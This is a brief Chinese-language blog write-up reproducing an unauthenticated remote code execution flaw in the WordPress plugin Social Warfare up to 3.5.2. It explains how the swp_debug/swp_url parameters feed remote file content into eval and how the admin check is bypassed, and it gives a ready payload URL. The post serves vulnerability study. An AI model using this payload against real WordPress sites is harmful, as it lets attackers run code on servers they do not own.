wordpress插件social-warfare<=3.5.2未授权RCE复现

漏洞分析

漏洞成因 参数传入eval时候未进行让任何除害操作

 

 首先debug返回True很简单 我们来看debug函数 两个条件 url传参数等于函数传参

后面file_get_contents对传入url进行处理 这里我们可以构造恶意文件让从来导致option参数受我们的控制

option必须不为空 切初始位置必须以<pre>开头

 

替换<pre>为空并且提取</pre>之前的内容

 

 以数组的形式返回给eval 从而造成RCE

因此我们构造payload

http://www.zhong.com/wordpress/wp-admin//?swp_debug=load_options&swp_url=http://www.zhong.com/1.txt&love=phpinfo();

 按道理说这里第一步进行admin_ture验证是不行的 但是这里

如果未定义admin——ture的值那么设定为Ture 所以逻辑绕过了非admin触发poc

 

文献参考

https://paper.seebug.org/919/
https://www.4hou.com/
php中文网
原文地址:https://www.cnblogs.com/-zhong/p/12422127.html